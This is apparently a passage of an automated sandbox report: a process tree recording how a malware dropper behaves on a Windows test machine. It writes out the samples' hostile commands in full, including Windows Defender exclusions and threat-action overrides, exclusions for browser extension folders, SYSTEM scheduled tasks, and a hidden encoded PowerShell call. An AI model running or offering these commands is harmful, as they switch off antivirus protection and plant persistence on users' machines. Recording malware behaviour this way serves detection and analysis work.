      4⤵
      Executes dropped EXE
      PID:1420
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231057321\assistant\assistant_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231057321\assistant\assistant_installer.exe" --version
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4804
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231057321\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404231057321\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x234,0x238,0x23c,0x210,0x240,0xfd6038,0xfd6044,0xfd6050
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5104
- - C:\Users\Admin\Pictures\WpkscNvYQek7m1wpic7BQ6Z8.exe
    "C:\Users\Admin\Pictures\WpkscNvYQek7m1wpic7BQ6Z8.exe"
    3⤵
    - Executes dropped EXE
    PID:4904
  - - C:\Users\Admin\AppData\Local\Temp\7zS9824.tmp\Install.exe
      .\Install.exe /nxdidQZJ "385118" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Enumerates system info in registry
      PID:1140
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:1676
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2088
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:2908
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        
        PID:5020
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:2436
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 10:59:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\RQEkPGX.exe\" em /hHsite_idEnW 385118 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:1676
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1472
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
  2⤵
  PID:1948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4824 -ip 4824
1⤵
PID:1460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2416 -ip 2416
1⤵
PID:2336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1084

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:3116

C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\BTfyksI.exe
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\BTfyksI.exe em /eIsite_idTbq 385118 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4664
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3024
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:4824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3620
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3160
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2848
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2004
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4800
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4936
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4604
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3620
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3160
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3444
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1516
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3500
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3408
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3024
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2004
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3620
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3588
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2392
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4880
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3500
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3024
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1128
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3596
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3156
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1012
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1344
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3620
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gSdUUxlDv" /SC once /ST 03:59:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4112
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gSdUUxlDv"
  2⤵
  PID:4436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4800
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gSdUUxlDv"
  2⤵
  PID:2804
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 04:19:54 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\VCbtqsa.exe\" XT /DGsite_idXfv 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:1044
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "BAnwxolbGpCzXNxkj"
  2⤵
  PID:1028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1012
